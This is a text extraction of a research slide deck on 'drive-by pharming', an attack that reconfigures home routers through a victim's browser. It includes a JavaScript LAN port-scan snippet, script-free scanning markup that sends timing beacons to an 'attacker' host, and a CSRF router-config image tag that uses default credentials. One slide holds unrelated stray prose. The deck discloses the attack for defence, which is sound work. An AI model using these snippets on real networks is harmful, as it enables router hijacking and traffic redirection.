Drive-By Pharming Sid Stamm :: Indiana University Zulfikar Ramzan - - PowerPoint PPT Presentation

drive by pharming
SMART_READER_LITE
LIVE PREVIEW

Drive-By Pharming Sid Stamm :: Indiana University Zulfikar Ramzan - - PowerPoint PPT Presentation

Drive-By Pharming Sid Stamm :: Indiana University Zulfikar Ramzan :: Symantec Corporation Markus Jakobsson :: Indiana University Phishing Phishing Following these, the cycle would start again. aylesbury beseech "Well, we'll have to talk


slide-1
SLIDE 1

Drive-By Pharming

Sid Stamm :: Indiana University Zulfikar Ramzan :: Symantec Corporation Markus Jakobsson :: Indiana University

slide-2
SLIDE 2

Phishing

slide-3
SLIDE 3

Phishing

Following these, the cycle would start again. aylesbury beseech "Well, we'll have to talk about that, won't we? What he had burned had been nothing more than an illusion with a title page on top” blank pages interspersed with written rejects and

  • culls. at least, not all of them. She killed him. "Her voice was rising. A jury might

let you off by reason of insanity, but not me, Annie. Not that I would ever try to change your mind about anything you chose to think” a Mister Smart Guy like you who thinks for a living. It had taken her less than twenty minutes to read his first stab at it; it had been an hour since she had taken this sheaf of twenty-one

  • pages. caricature
slide-4
SLIDE 4

Phishing

slide-5
SLIDE 5

Crimeware

More Info: http://www.apwg.org

slide-6
SLIDE 6

Pharming

slide-7
SLIDE 7

Browser Problems

slide-8
SLIDE 8

Browser History Snooping

http://browser-recon.info

slide-9
SLIDE 9

Browser History Snooping

http://browser-recon.info

slide-10
SLIDE 10

XSS

slide-11
SLIDE 11

CSRF

http://sidstamm.com/netflixcsrf.html

slide-12
SLIDE 12

Host Scanning

Attacking from Victim’s Browser

evil code

x x x x

slide-13
SLIDE 13

Host Scanning

window.onerror = function(msg, url) { if(!msg.match(/Error loading script/)){ serverIsLive(url); } }; for(i=0; i<255; i++) { s = document.createElement(“script”); s.src = “http://192.168.0.” + i; document.body.appendChild(s); }

http://www.spidynamics.com/spilabs/education/articles/JS-portscan.html

slide-14
SLIDE 14

Script-Free Scanning

<img src="http://attacker/record-time/?id=a" /> <link rel="stylesheet" type="text/css" href="http://192.168.0.1/" /> <img src="http://attacker/record-time/?id=b" /> <link rel="stylesheet" type="text/css" href="http://192.168.0.2/" /> <img src="http://attacker/record-time/?id=c" /> ...

http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html

slide-15
SLIDE 15

Router Woes

  • GET v. POST
  • admin:admin
  • partial submit
  • predictability
slide-16
SLIDE 16

Drive-By Pharming

ISP

ISP

Attacker’s DNS + Web Server ISP’s DNS Server ISP’s Gateway Victim

Router’s Internal Net

slide-17
SLIDE 17

Normal DNS Lookup

ISP

ISP

Attacker’s DNS + Web Server ISP’s DNS Server ISP’s Gateway Victim

Router’s Internal Net

slide-18
SLIDE 18

Normal DNS Lookup

ISP

ISP

Attacker’s DNS + Web Server ISP’s DNS Server ISP’s Gateway Victim

Router’s Internal Net

LOOKUP evil.com

slide-19
SLIDE 19

Normal DNS Lookup

ISP

ISP

Attacker’s DNS + Web Server ISP’s DNS Server ISP’s Gateway Victim

Router’s Internal Net

LOOKUP evil.com

Evil.com=1.1.1.1

slide-20
SLIDE 20

Drive-By Attack

ISP

ISP

Attacker’s DNS + Web Server ISP’s DNS Server ISP’s Gateway Victim

Router’s Internal Net

slide-21
SLIDE 21

Drive-By Attack

ISP

ISP

Attacker’s DNS + Web Server ISP’s DNS Server ISP’s Gateway Victim

Router’s Internal Net

GET 1.1.1.1

slide-22
SLIDE 22

Pharmed DNS Lookup

ISP

ISP

Attacker’s DNS + Web Server ISP’s DNS Server ISP’s Gateway Victim

Router’s Internal Net

slide-23
SLIDE 23

Pharmed DNS Lookup

ISP

ISP

Attacker’s DNS + Web Server ISP’s DNS Server ISP’s Gateway Victim

Router’s Internal Net

LOOKUP

slide-24
SLIDE 24

How This Happens

POST -> GET

( PRE-ARRANGED )

slide-25
SLIDE 25

How This Happens

<img src=“http://admin:@192.168.0.1/cfg.cgi?...”>

( CSRF )

slide-26
SLIDE 26

Fallout

(plausible)

SOURCES: “warkitting” paper, http://www.thecounter.com

American Web Users

5.0% 47.5% 47.5%

JS + Default Password JS + Custom Password No JS

slide-27
SLIDE 27

Fallout

Netgear WGR614 D-Link DI-524 Linksys WRT54G

slide-28
SLIDE 28

http://www.cisco.com/warp/public/707/cisco-sr-20070215-http.shtml

Cisco 806 Cisco 826 Cisco 827 Cisco 827H Cisco 827-4v Cisco 828 Cisco 831 Cisco 836 Cisco 837 Cisco SOHO 71 Cisco SOHO 76 Cisco SOHO 77 Cisco SOHO 77H Cisco SOHO 78 Cisco SOHO 91 Cisco SOHO 96 Cisco SOHO 97 ...

Fallout

Netgear WGR614 D-Link DI-524 Linksys WRT54G

slide-29
SLIDE 29

Router Zombie Networks?

slide-30
SLIDE 30

Router Zombie Networks?

slide-31
SLIDE 31

Viral Spread

...

slide-32
SLIDE 32

Viral Spread

...

slide-33
SLIDE 33

Countermeasures

slide-34
SLIDE 34

Countermeasures

slide-35
SLIDE 35

Countermeasures

slide-36
SLIDE 36

Countermeasures

slide-37
SLIDE 37

Countermeasures

ISP

slide-38
SLIDE 38

Drive-By Pharming